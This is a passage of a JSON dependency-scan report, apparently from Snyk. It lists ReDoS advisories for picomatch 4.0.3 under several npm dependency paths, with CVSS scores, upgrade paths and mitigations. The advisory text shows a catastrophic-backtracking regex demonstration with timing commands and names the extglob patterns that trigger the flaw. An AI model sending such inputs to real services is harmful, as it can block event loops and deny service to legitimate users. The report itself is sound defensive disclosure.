'/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n",
"epssDetails": {
"percentile": "0.39319",
"probability": "0.00488",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33671"
],
"CWE": [
"CWE-1333"
],
"GHSA": [
"GHSA-c2c7-rcm5-vvqj"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-03-26T08:38:58.711997Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-25T21:12:07Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-26T08:38:58.926320Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:02.835882Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.17",
"picomatch@4.0.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-21248802",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"maximilliangrand",
"Zachariah Mithani"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/pull/194",
"title": "GitHub PR"
},
{
"url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n",
"epssDetails": null,
"identifiers": {
"CVE": [
"CVE-2026-112366"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-10-19T19:21:10.678786Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-19T18:13:14.289000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-19T19:21:10.842984Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:32:18.991803Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-15765511",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<2.3.2",
">=3.0.0 <3.0.2",
">=4.0.0 <4.0.4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.3.2",
"3.0.2",
"4.0.4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n",
"epssDetails": {
"percentile": "0.39319",
"probability": "0.00488",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33671"
],
"CWE": [
"CWE-1333"
],
"GHSA": [
"GHSA-c2c7-rcm5-vvqj"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-03-26T08:38:58.711997Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-25T21:12:07Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-26T08:38:58.926320Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:02.835882Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.17",
"picomatch@4.0.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-21248802",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"maximilliangrand",
"Zachariah Mithani"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/pull/194",
"title": "GitHub PR"
},
{
"url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n",
"epssDetails": null,
"identifiers": {
"CVE": [
"CVE-2026-112366"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-10-19T19:21:10.678786Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-19T18:13:14.289000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-19T19:21:10.842984Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:32:18.991803Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-15765511",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<2.3.2",
">=3.0.0 <3.0.2",
">=4.0.0 <4.0.4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.3.2",
"3.0.2",
"4.0.4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n",
"epssDetails": {
"percentile": "0.39319",
"probability": "0.00488",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33671"
],
"CWE": [
"CWE-1333"
],
"GHSA": [
"GHSA-c2c7-rcm5-vvqj"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-03-26T08:38:58.711997Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-25T21:12:07Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-26T08:38:58.926320Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:02.835882Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
